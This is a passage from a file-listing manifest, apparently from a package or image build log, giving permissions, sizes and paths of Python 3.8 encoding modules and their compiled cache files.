+-rw-r--r-- root root 13721 ./usr/lib/python3.8/encodings/mac_greek.py
+-rw-r--r-- root root 13498 ./usr/lib/python3.8/encodings/mac_iceland.py
+-rw-r--r-- root root 14118 ./usr/lib/python3.8/encodings/mac_latin2.py
+-rw-r--r-- root root 13661 ./usr/lib/python3.8/encodings/mac_romanian.py
+-rw-r--r-- root root 13480 ./usr/lib/python3.8/encodings/mac_roman.py
+-rw-r--r-- root root 13513 ./usr/lib/python3.8/encodings/mac_turkish.py
+-rw-r--r-- root root 1211 ./usr/lib/python3.8/encodings/mbcs.py
+-rw-r--r-- root root 1019 ./usr/lib/python3.8/encodings/oem.py
+-rw-r--r-- root root 13519 ./usr/lib/python3.8/encodings/palmos.py
+-rw-r--r-- root root 14015 ./usr/lib/python3.8/encodings/ptcp154.py
+-rw-r--r-- root root 6883 ./usr/lib/python3.8/encodings/punycode.py
+drwxr-xr-x root root 20480 ./usr/lib/python3.8/encodings/__pycache__
+-rw-r--r-- root root 6330 ./usr/lib/python3.8/encodings/__pycache__/aliases.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5738 ./usr/lib/python3.8/encodings/__pycache__/aliases.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6330 ./usr/lib/python3.8/encodings/__pycache__/aliases.cpython-38.pyc
+-rw-r--r-- root root 1881 ./usr/lib/python3.8/encodings/__pycache__/ascii.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1735 ./usr/lib/python3.8/encodings/__pycache__/ascii.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1881 ./usr/lib/python3.8/encodings/__pycache__/ascii.cpython-38.pyc
+-rw-r--r-- root root 2295 ./usr/lib/python3.8/encodings/__pycache__/base64_codec.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2120 ./usr/lib/python3.8/encodings/__pycache__/base64_codec.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2399 ./usr/lib/python3.8/encodings/__pycache__/base64_codec.cpython-38.pyc
+-rw-r--r-- root root 1409 ./usr/lib/python3.8/encodings/__pycache__/big5.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1409 ./usr/lib/python3.8/encodings/__pycache__/big5.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1409 ./usr/lib/python3.8/encodings/__pycache__/big5.cpython-38.pyc
+-rw-r--r-- root root 1419 ./usr/lib/python3.8/encodings/__pycache__/big5hkscs.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1419 ./usr/lib/python3.8/encodings/__pycache__/big5hkscs.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1419 ./usr/lib/python3.8/encodings/__pycache__/big5hkscs.cpython-38.pyc
+-rw-r--r-- root root 3200 ./usr/lib/python3.8/encodings/__pycache__/bz2_codec.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2904 ./usr/lib/python3.8/encodings/__pycache__/bz2_codec.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3290 ./usr/lib/python3.8/encodings/__pycache__/bz2_codec.cpython-38.pyc
+-rw-r--r-- root root 2891 ./usr/lib/python3.8/encodings/__pycache__/charmap.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2597 ./usr/lib/python3.8/encodings/__pycache__/charmap.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2891 ./usr/lib/python3.8/encodings/__pycache__/charmap.cpython-38.pyc
+-rw-r--r-- root root 2422 ./usr/lib/python3.8/encodings/__pycache__/cp037.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2290 ./usr/lib/python3.8/encodings/__pycache__/cp037.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2422 ./usr/lib/python3.8/encodings/__pycache__/cp037.cpython-38.pyc
+-rw-r--r-- root root 2498 ./usr/lib/python3.8/encodings/__pycache__/cp1006.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2373 ./usr/lib/python3.8/encodings/__pycache__/cp1006.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2498 ./usr/lib/python3.8/encodings/__pycache__/cp1006.cpython-38.pyc
+-rw-r--r-- root root 2426 ./usr/lib/python3.8/encodings/__pycache__/cp1026.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2292 ./usr/lib/python3.8/encodings/__pycache__/cp1026.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2426 ./usr/lib/python3.8/encodings/__pycache__/cp1026.cpython-38.pyc
+-rw-r--r-- root root 8129 ./usr/lib/python3.8/encodings/__pycache__/cp1125.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8066 ./usr/lib/python3.8/encodings/__pycache__/cp1125.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8129 ./usr/lib/python3.8/encodings/__pycache__/cp1125.cpython-38.pyc
+-rw-r--r-- root root 2412 ./usr/lib/python3.8/encodings/__pycache__/cp1140.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2293 ./usr/lib/python3.8/encodings/__pycache__/cp1140.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2412 ./usr/lib/python3.8/encodings/__pycache__/cp1140.cpython-38.pyc
+-rw-r--r-- root root 2449 ./usr/lib/python3.8/encodings/__pycache__/cp1250.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2314 ./usr/lib/python3.8/encodings/__pycache__/cp1250.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2449 ./usr/lib/python3.8/encodings/__pycache__/cp1250.cpython-38.pyc
+-rw-r--r-- root root 2446 ./usr/lib/python3.8/encodings/__pycache__/cp1251.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2311 ./usr/lib/python3.8/encodings/__pycache__/cp1251.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2446 ./usr/lib/python3.8/encodings/__pycache__/cp1251.cpython-38.pyc
+-rw-r--r-- root root 2449 ./usr/lib/python3.8/encodings/__pycache__/cp1252.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2314 ./usr/lib/python3.8/encodings/__pycache__/cp1252.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2449 ./usr/lib/python3.8/encodings/__pycache__/cp1252.cpython-38.pyc
+-rw-r--r-- root root 2462 ./usr/lib/python3.8/encodings/__pycache__/cp1253.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2327 ./usr/lib/python3.8/encodings/__pycache__/cp1253.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2462 ./usr/lib/python3.8/encodings/__pycache__/cp1253.cpython-38.pyc
+-rw-r--r-- root root 2451 ./usr/lib/python3.8/encodings/__pycache__/cp1254.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2316 ./usr/lib/python3.8/encodings/__pycache__/cp1254.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2451 ./usr/lib/python3.8/encodings/__pycache__/cp1254.cpython-38.pyc
+-rw-r--r-- root root 2470 ./usr/lib/python3.8/encodings/__pycache__/cp1255.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2335 ./usr/lib/python3.8/encodings/__pycache__/cp1255.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2470 ./usr/lib/python3.8/encodings/__pycache__/cp1255.cpython-38.pyc
+-rw-r--r-- root root 2448 ./usr/lib/python3.8/encodings/__pycache__/cp1256.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2313 ./usr/lib/python3.8/encodings/__pycache__/cp1256.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2448 ./usr/lib/python3.8/encodings/__pycache__/cp1256.cpython-38.pyc
+-rw-r--r-- root root 2456 ./usr/lib/python3.8/encodings/__pycache__/cp1257.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2321 ./usr/lib/python3.8/encodings/__pycache__/cp1257.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2456 ./usr/lib/python3.8/encodings/__pycache__/cp1257.cpython-38.pyc
+-rw-r--r-- root root 2454 ./usr/lib/python3.8/encodings/__pycache__/cp1258.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2319 ./usr/lib/python3.8/encodings/__pycache__/cp1258.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2454 ./usr/lib/python3.8/encodings/__pycache__/cp1258.cpython-38.pyc
+-rw-r--r-- root root 2408 ./usr/lib/python3.8/encodings/__pycache__/cp273.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2291 ./usr/lib/python3.8/encodings/__pycache__/cp273.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2408 ./usr/lib/python3.8/encodings/__pycache__/cp273.cpython-38.pyc
+-rw-r--r-- root root 2452 ./usr/lib/python3.8/encodings/__pycache__/cp424.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2329 ./usr/lib/python3.8/encodings/__pycache__/cp424.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2452 ./usr/lib/python3.8/encodings/__pycache__/cp424.cpython-38.pyc
+-rw-r--r-- root root 7846 ./usr/lib/python3.8/encodings/__pycache__/cp437.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7725 ./usr/lib/python3.8/encodings/__pycache__/cp437.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7846 ./usr/lib/python3.8/encodings/__pycache__/cp437.cpython-38.pyc
+-rw-r--r-- root root 2422 ./usr/lib/python3.8/encodings/__pycache__/cp500.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2290 ./usr/lib/python3.8/encodings/__pycache__/cp500.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2422 ./usr/lib/python3.8/encodings/__pycache__/cp500.cpython-38.pyc
+-rw-r--r-- root root 2519 ./usr/lib/python3.8/encodings/__pycache__/cp720.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2344 ./usr/lib/python3.8/encodings/__pycache__/cp720.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2519 ./usr/lib/python3.8/encodings/__pycache__/cp720.cpython-38.pyc
+-rw-r--r-- root root 8168 ./usr/lib/python3.8/encodings/__pycache__/cp737.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8047 ./usr/lib/python3.8/encodings/__pycache__/cp737.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8168 ./usr/lib/python3.8/encodings/__pycache__/cp737.cpython-38.pyc
+-rw-r--r-- root root 7876 ./usr/lib/python3.8/encodings/__pycache__/cp775.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7755 ./usr/lib/python3.8/encodings/__pycache__/cp775.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7876 ./usr/lib/python3.8/encodings/__pycache__/cp775.cpython-38.pyc
+-rw-r--r-- root root 7507 ./usr/lib/python3.8/encodings/__pycache__/cp850.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7392 ./usr/lib/python3.8/encodings/__pycache__/cp850.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7507 ./usr/lib/python3.8/encodings/__pycache__/cp850.cpython-38.pyc
+-rw-r--r-- root root 7884 ./usr/lib/python3.8/encodings/__pycache__/cp852.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7769 ./usr/lib/python3.8/encodings/__pycache__/cp852.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7884 ./usr/lib/python3.8/encodings/__pycache__/cp852.cpython-38.pyc
+-rw-r--r-- root root 8137 ./usr/lib/python3.8/encodings/__pycache__/cp855.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8022 ./usr/lib/python3.8/encodings/__pycache__/cp855.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8137 ./usr/lib/python3.8/encodings/__pycache__/cp855.cpython-38.pyc
+-rw-r--r-- root root 2484 ./usr/lib/python3.8/encodings/__pycache__/cp856.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2361 ./usr/lib/python3.8/encodings/__pycache__/cp856.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2484 ./usr/lib/python3.8/encodings/__pycache__/cp856.cpython-38.pyc
+-rw-r--r-- root root 7487 ./usr/lib/python3.8/encodings/__pycache__/cp857.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7372 ./usr/lib/python3.8/encodings/__pycache__/cp857.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7487 ./usr/lib/python3.8/encodings/__pycache__/cp857.cpython-38.pyc
+-rw-r--r-- root root 7477 ./usr/lib/python3.8/encodings/__pycache__/cp858.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7393 ./usr/lib/python3.8/encodings/__pycache__/cp858.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7477 ./usr/lib/python3.8/encodings/__pycache__/cp858.cpython-38.pyc
+-rw-r--r-- root root 7825 ./usr/lib/python3.8/encodings/__pycache__/cp860.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7710 ./usr/lib/python3.8/encodings/__pycache__/cp860.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7825 ./usr/lib/python3.8/encodings/__pycache__/cp860.cpython-38.pyc
+-rw-r--r-- root root 7840 ./usr/lib/python3.8/encodings/__pycache__/cp861.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7725 ./usr/lib/python3.8/encodings/__pycache__/cp861.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7840 ./usr/lib/python3.8/encodings/__pycache__/cp861.cpython-38.pyc
+-rw-r--r-- root root 8029 ./usr/lib/python3.8/encodings/__pycache__/cp862.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7914 ./usr/lib/python3.8/encodings/__pycache__/cp862.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8029 ./usr/lib/python3.8/encodings/__pycache__/cp862.cpython-38.pyc
+-rw-r--r-- root root 7840 ./usr/lib/python3.8/encodings/__pycache__/cp863.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7725 ./usr/lib/python3.8/encodings/__pycache__/cp863.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7840 ./usr/lib/python3.8/encodings/__pycache__/cp863.cpython-38.pyc
+-rw-r--r-- root root 7984 ./usr/lib/python3.8/encodings/__pycache__/cp864.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7869 ./usr/lib/python3.8/encodings/__pycache__/cp864.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7984 ./usr/lib/python3.8/encodings/__pycache__/cp864.cpython-38.pyc
+-rw-r--r-- root root 7840 ./usr/lib/python3.8/encodings/__pycache__/cp865.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7725 ./usr/lib/python3.8/encodings/__pycache__/cp865.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7840 ./usr/lib/python3.8/encodings/__pycache__/cp865.cpython-38.pyc
+-rw-r--r-- root root 8173 ./usr/lib/python3.8/encodings/__pycache__/cp866.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8058 ./usr/lib/python3.8/encodings/__pycache__/cp866.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8173 ./usr/lib/python3.8/encodings/__pycache__/cp866.cpython-38.pyc
+-rw-r--r-- root root 7864 ./usr/lib/python3.8/encodings/__pycache__/cp869.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7749 ./usr/lib/python3.8/encodings/__pycache__/cp869.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7864 ./usr/lib/python3.8/encodings/__pycache__/cp869.cpython-38.pyc
+-rw-r--r-- root root 2550 ./usr/lib/python3.8/encodings/__pycache__/cp874.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2417 ./usr/lib/python3.8/encodings/__pycache__/cp874.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2550 ./usr/lib/python3.8/encodings/__pycache__/cp874.cpython-38.pyc
+-rw-r--r-- root root 2419 ./usr/lib/python3.8/encodings/__pycache__/cp875.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2287 ./usr/lib/python3.8/encodings/__pycache__/cp875.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2419 ./usr/lib/python3.8/encodings/__pycache__/cp875.cpython-38.pyc
+-rw-r--r-- root root 1411 ./usr/lib/python3.8/encodings/__pycache__/cp932.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1411 ./usr/lib/python3.8/encodings/__pycache__/cp932.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1411 ./usr/lib/python3.8/encodings/__pycache__/cp932.cpython-38.pyc
+-rw-r--r-- root root 1411 ./usr/lib/python3.8/encodings/__pycache__/cp949.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1411 ./usr/lib/python3.8/encodings/__pycache__/cp949.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1411 ./usr/lib/python3.8/encodings/__pycache__/cp949.cpython-38.pyc
+-rw-r--r-- root root 1411 ./usr/lib/python3.8/encodings/__pycache__/cp950.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1411 ./usr/lib/python3.8/encodings/__pycache__/cp950.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1411 ./usr/lib/python3.8/encodings/__pycache__/cp950.cpython-38.pyc
+-rw-r--r-- root root 1425 ./usr/lib/python3.8/encodings/__pycache__/euc_jis_2004.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1425 ./usr/lib/python3.8/encodings/__pycache__/euc_jis_2004.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1425 ./usr/lib/python3.8/encodings/__pycache__/euc_jis_2004.cpython-38.pyc
+-rw-r--r-- root root 1425 ./usr/lib/python3.8/encodings/__pycache__/euc_jisx0213.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1425 ./usr/lib/python3.8/encodings/__pycache__/euc_jisx0213.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1425 ./usr/lib/python3.8/encodings/__pycache__/euc_jisx0213.cpython-38.pyc
+-rw-r--r-- root root 1413 ./usr/lib/python3.8/encodings/__pycache__/euc_jp.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1413 ./usr/lib/python3.8/encodings/__pycache__/euc_jp.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1413 ./usr/lib/python3.8/encodings/__pycache__/euc_jp.cpython-38.pyc
+-rw-r--r-- root root 1413 ./usr/lib/python3.8/encodings/__pycache__/euc_kr.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1413 ./usr/lib/python3.8/encodings/__pycache__/euc_kr.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1413 ./usr/lib/python3.8/encodings/__pycache__/euc_kr.cpython-38.pyc
+-rw-r--r-- root root 1415 ./usr/lib/python3.8/encodings/__pycache__/gb18030.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1415 ./usr/lib/python3.8/encodings/__pycache__/gb18030.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1415 ./usr/lib/python3.8/encodings/__pycache__/gb18030.cpython-38.pyc
+-rw-r--r-- root root 1413 ./usr/lib/python3.8/encodings/__pycache__/gb2312.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1413 ./usr/lib/python3.8/encodings/__pycache__/gb2312.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1413 ./usr/lib/python3.8/encodings/__pycache__/gb2312.cpython-38.pyc
+-rw-r--r-- root root 1407 ./usr/lib/python3.8/encodings/__pycache__/gbk.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1407 ./usr/lib/python3.8/encodings/__pycache__/gbk.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1407 ./usr/lib/python3.8/encodings/__pycache__/gbk.cpython-38.pyc
+-rw-r--r-- root root 2282 ./usr/lib/python3.8/encodings/__pycache__/hex_codec.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2105 ./usr/lib/python3.8/encodings/__pycache__/hex_codec.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2386 ./usr/lib/python3.8/encodings/__pycache__/hex_codec.cpython-38.pyc
+-rw-r--r-- root root 2623 ./usr/lib/python3.8/encodings/__pycache__/hp_roman8.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2302 ./usr/lib/python3.8/encodings/__pycache__/hp_roman8.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2623 ./usr/lib/python3.8/encodings/__pycache__/hp_roman8.cpython-38.pyc
+-rw-r--r-- root root 1405 ./usr/lib/python3.8/encodings/__pycache__/hz.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1405 ./usr/lib/python3.8/encodings/__pycache__/hz.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1405 ./usr/lib/python3.8/encodings/__pycache__/hz.cpython-38.pyc
+-rw-r--r-- root root 5617 ./usr/lib/python3.8/encodings/__pycache__/idna.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5617 ./usr/lib/python3.8/encodings/__pycache__/idna.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5617 ./usr/lib/python3.8/encodings/__pycache__/idna.cpython-38.pyc
+-rw-r--r-- root root 3903 ./usr/lib/python3.8/encodings/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2448 ./usr/lib/python3.8/encodings/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3903 ./usr/lib/python3.8/encodings/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 1430 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_1.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1430 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_1.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1430 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_1.cpython-38.pyc
+-rw-r--r-- root root 1436 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_2004.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1436 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_2004.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1436 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_2004.cpython-38.pyc
+-rw-r--r-- root root 1430 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_2.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1430 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_2.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1430 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_2.cpython-38.pyc
+-rw-r--r-- root root 1430 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_3.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1430 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_3.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1430 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_3.cpython-38.pyc
+-rw-r--r-- root root 1426 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1426 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1426 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp.cpython-38.pyc
+-rw-r--r-- root root 1434 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_ext.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1434 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_ext.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1434 ./usr/lib/python3.8/encodings/__pycache__/iso2022_jp_ext.cpython-38.pyc
+-rw-r--r-- root root 1426 ./usr/lib/python3.8/encodings/__pycache__/iso2022_kr.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1426 ./usr/lib/python3.8/encodings/__pycache__/iso2022_kr.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1426 ./usr/lib/python3.8/encodings/__pycache__/iso2022_kr.cpython-38.pyc
+-rw-r--r-- root root 2426 ./usr/lib/python3.8/encodings/__pycache__/iso8859_10.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2301 ./usr/lib/python3.8/encodings/__pycache__/iso8859_10.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2426 ./usr/lib/python3.8/encodings/__pycache__/iso8859_10.cpython-38.pyc
+-rw-r--r-- root root 2520 ./usr/lib/python3.8/encodings/__pycache__/iso8859_11.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2395 ./usr/lib/python3.8/encodings/__pycache__/iso8859_11.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2520 ./usr/lib/python3.8/encodings/__pycache__/iso8859_11.cpython-38.pyc
+-rw-r--r-- root root 2429 ./usr/lib/python3.8/encodings/__pycache__/iso8859_13.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2304 ./usr/lib/python3.8/encodings/__pycache__/iso8859_13.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2429 ./usr/lib/python3.8/encodings/__pycache__/iso8859_13.cpython-38.pyc
+-rw-r--r-- root root 2447 ./usr/lib/python3.8/encodings/__pycache__/iso8859_14.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2322 ./usr/lib/python3.8/encodings/__pycache__/iso8859_14.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2447 ./usr/lib/python3.8/encodings/__pycache__/iso8859_14.cpython-38.pyc
+-rw-r--r-- root root 2426 ./usr/lib/python3.8/encodings/__pycache__/iso8859_15.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2301 ./usr/lib/python3.8/encodings/__pycache__/iso8859_15.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2426 ./usr/lib/python3.8/encodings/__pycache__/iso8859_15.cpython-38.pyc
+-rw-r--r-- root root 2428 ./usr/lib/python3.8/encodings/__pycache__/iso8859_16.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2303 ./usr/lib/python3.8/encodings/__pycache__/iso8859_16.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2428 ./usr/lib/python3.8/encodings/__pycache__/iso8859_16.cpython-38.pyc
+-rw-r--r-- root root 2421 ./usr/lib/python3.8/encodings/__pycache__/iso8859_1.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2298 ./usr/lib/python3.8/encodings/__pycache__/iso8859_1.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2421 ./usr/lib/python3.8/encodings/__pycache__/iso8859_1.cpython-38.pyc
+-rw-r--r-- root root 2421 ./usr/lib/python3.8/encodings/__pycache__/iso8859_2.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2298 ./usr/lib/python3.8/encodings/__pycache__/iso8859_2.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2421 ./usr/lib/python3.8/encodings/__pycache__/iso8859_2.cpython-38.pyc
+-rw-r--r-- root root 2428 ./usr/lib/python3.8/encodings/__pycache__/iso8859_3.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2305 ./usr/lib/python3.8/encodings/__pycache__/iso8859_3.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2428 ./usr/lib/python3.8/encodings/__pycache__/iso8859_3.cpython-38.pyc
+-rw-r--r-- root root 2421 ./usr/lib/python3.8/encodings/__pycache__/iso8859_4.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2298 ./usr/lib/python3.8/encodings/__pycache__/iso8859_4.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2421 ./usr/lib/python3.8/encodings/__pycache__/iso8859_4.cpython-38.pyc
+-rw-r--r-- root root 2422 ./usr/lib/python3.8/encodings/__pycache__/iso8859_5.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2299 ./usr/lib/python3.8/encodings/__pycache__/iso8859_5.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2422 ./usr/lib/python3.8/encodings/__pycache__/iso8859_5.cpython-38.pyc
+-rw-r--r-- root root 2466 ./usr/lib/python3.8/encodings/__pycache__/iso8859_6.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2343 ./usr/lib/python3.8/encodings/__pycache__/iso8859_6.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2466 ./usr/lib/python3.8/encodings/__pycache__/iso8859_6.cpython-38.pyc
+-rw-r--r-- root root 2429 ./usr/lib/python3.8/encodings/__pycache__/iso8859_7.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2306 ./usr/lib/python3.8/encodings/__pycache__/iso8859_7.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2429 ./usr/lib/python3.8/encodings/__pycache__/iso8859_7.cpython-38.pyc
+-rw-r--r-- root root 2460 ./usr/lib/python3.8/encodings/__pycache__/iso8859_8.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2337 ./usr/lib/python3.8/encodings/__pycache__/iso8859_8.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2460 ./usr/lib/python3.8/encodings/__pycache__/iso8859_8.cpython-38.pyc
+-rw-r--r-- root root 2421 ./usr/lib/python3.8/encodings/__pycache__/iso8859_9.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2298 ./usr/lib/python3.8/encodings/__pycache__/iso8859_9.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2421 ./usr/lib/python3.8/encodings/__pycache__/iso8859_9.cpython-38.pyc
+-rw-r--r-- root root 1411 ./usr/lib/python3.8/encodings/__pycache__/johab.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1411 ./usr/lib/python3.8/encodings/__pycache__/johab.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1411 ./usr/lib/python3.8/encodings/__pycache__/johab.cpython-38.pyc
+-rw-r--r-- root root 2473 ./usr/lib/python3.8/encodings/__pycache__/koi8_r.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2348 ./usr/lib/python3.8/encodings/__pycache__/koi8_r.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2473 ./usr/lib/python3.8/encodings/__pycache__/koi8_r.cpython-38.pyc
+-rw-r--r-- root root 2384 ./usr/lib/python3.8/encodings/__pycache__/koi8_t.cpython-38.opt-1.pyc
